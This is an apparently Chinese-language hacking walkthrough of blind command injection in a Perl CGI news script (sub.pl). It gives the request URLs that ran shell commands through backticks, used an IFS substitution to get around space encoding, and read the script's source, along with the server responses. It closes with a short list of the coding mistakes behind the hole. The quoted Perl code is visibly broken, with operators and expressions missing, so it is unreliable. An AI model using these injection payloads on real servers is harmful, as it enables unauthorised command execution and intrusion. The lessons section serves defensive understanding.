排分類新聞的鏈接引起了我的注意,這些鏈接都指向一個
叫sub.pl的CGI,只是它們后面跟的參數(shù)不同:國內(nèi)新聞的
是sub.pl?cn,國際新聞的是sub.pl?in,財經(jīng)的是sub.pl?fi
諸如此類...跟一般的CGI程序不同,sub.pl后跟的不是通常
的key,value對,哈,讓我給sub.pl吃點洋葷,隨便自己指定
個參數(shù)給它:
http://victim.net/cgi-bin/home/news/sub.pl?12
不出所料,CGI運行出錯了:
/home1/siteadm/cgi-bin/home/news/log/12/*.*: 無此文件或目錄
這個CGI真是太老實了,它至少告訴了我們兩件事情:一 CGI目錄
的絕對路徑. 二 我們輸入?yún)?shù)的作用,sub.pl的參數(shù)是在腳本中
作為目錄名.這些發(fā)現(xiàn)一下子把我興趣提了起來,再試試不同的
參數(shù)說不定有更大的發(fā)現(xiàn),經(jīng)過N次的試驗,得到的出錯信息大同
小異,值到第N+1次請求:
http://victim.net/cgi-bin/home/news/sub.pl?&
服務(wù)器的返回信息有些不一樣了:
sh: /WS_FTP95.exe: 不能執(zhí)行
注意到了前面的"sh:"了嗎?哈!,熟悉UNIX的朋友應(yīng)該知道,這可是
只有在shell試圖運行某個程序出錯時才會出現(xiàn)的錯誤信息.看起
來shell在試圖運行什么程序,而重要的是我們能夠影響它!怎樣去
進一步的影響它呢?反引號"`",絕對是值得一試的:
http://victim.net/cgi-bin/home/news/sub.pl?`ls`
服務(wù)器返回了奇怪的信息:
/home1/siteadm/cgi-bin/home/news/log/315: 無此文件或目錄
"315"是什么東西?
再試:
http://victim.net/cgi-bin/home/news/sub.pl?`id`
這次返回的信息令我大吃一驚:
/home1/siteadm/cgi-bin/home/news/log/uid=999(siteadm): 無此文件或目錄 gid=999(ne
tsite)/*.*: 無此文件或目?
很顯然,服務(wù)器運行了id,我們能利用sub.pl運行shell命令了!剛
才的ls命令也肯定運行了,"315"一定是當前CGI目錄下的子目錄.
讓我們來列一下服務(wù)器根目錄吧:
http://victim.net/cgi-bin/home/news/sub.pl?`ls%20/`
沒成功:
sh: ls%20/: 沒找到
看來,sub.pl沒有把"%20"解碼成空格的習慣 :( 如何繞過這個限制
呢?相信你現(xiàn)在也已經(jīng)想到了,還得靠我們的IFS變量, 用它來指定
shell分界符.試一下:
http://victim.net/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
服務(wù)器的回應(yīng):
/home1/siteadm/cgi-bin/home/news/log/SunOS: 無此文件或目錄 victim.net: 無此文件或
目錄 5.5.1: 無此文件或目錄 Generic_103640-27: 無此文件或目錄 sun4u: 無此文件或目
錄 sparc: 無此文件或目錄 SUNW,Ultra-2/*.*: 無此文件或目錄
成功了!現(xiàn)在我們差不多有了shell訪問權(quán)限,對SunOS這樣的系統(tǒng),拿
到root只是時間問題了.沒有必要再繼續(xù)下去,我不想搞破壞,對sub.pl
瞎子摸象式的攻擊已經(jīng)給了我足夠的樂趣. :) 當然我還有興趣看
看問題到底出在哪,把sub.pl弄下來看看:
當然這還得靠sub.pl :)
http://victim.net/cgi-bin/home/news/sub.pl?`cat<'/home1/siteadm/cgi-bin/home/new
s/sub.pl'`
輸出結(jié)果太亂,就不列在這兒了.
經(jīng)過整理后的sub.pl中的片斷:
#!/usr/gnu/bin/perl
require "common.pl";
#($type) = split(//,$ENV{'QUERY_STRING'});
$type1=$ENV{'QUERY_STRING'};
$tdbg="#FF9900";
&parse_form;
if ($FORM{'command'} eq 'search'){
#if ($FORM{'newstype'} ne 'newstype'){ $type1=$FORM{'newstype'};}
#}
if ($type1 eq"so") {$tdbg="#0099CC";}
if ($type1 eq"in") {$tdbg="#71B8FF";}
if ($type1 eq"fu") {$tdbg="#CE9ECD";}
if ($type1 eq"sp") {$tdbg="#CCCCFF";}
if ($type1 eq"te") {$tdbg="#FF91FC";}
if ($type1 eq"fi") {$tdbg="#ffb3b3";}
if ($type1 eq"it") {$tdbg="#FFDE01";}
if ($type1 eq"") {$type1="it";} open (FILE, "$cgipath/$type") &error("Unable
to open $cgipath/$pwd");
@main1=
{
chop($line1);
($type2,$name1)=split(//,$line1);
if ($type2 eq $type1) {$name=$name1;}
}
$sublog=$$type1;
print "Content-type text/html nn";
if ($FORM{'command'} eq 'searchdate'){
$sublog="$type1/$FORM{'mmdd'}.txt";}
open(FILE,"$path_log/$sublog") die("Unable to write to $path_log/$file");
@main =
close(FILE);
#newshead($name,"1");
.
.
.
.
.
$data_path1="$data_path/$type1";
$search_data = `ls $data_path1/*.*`; <--------看來,就是死在這了 :)
$search_data =~ s/$data_path1 .txt ///g;
.
.
.
.
.
結(jié)論:對于編寫很差的CGI程序,通過封閉源碼的辦法很多時候并不能躲過被
黑客利用的命運,黑客可以通過向它發(fā)送許多出人意料的請求,分析它的回應(yīng)
猜測出程序的結(jié)構(gòu)和可能存在的弱點從而利用之.上面的這個sub.pl例子,至
少犯了三個錯誤:1.沒有對用戶輸入進行檢查.2.在腳本中直接調(diào)用shell,3.
沒有什么錯誤處理機制. 只要它在3點中的一點有所加強,將大大增加黑客入侵
的難度.還想說的是,國內(nèi)外通過CGI漏洞入侵的例子并不少見,據(jù)說,ADM就是
利用第三方的CGI程序的漏洞黑了著名的hack站點anticode,Antionline變成了
ADMonline :).
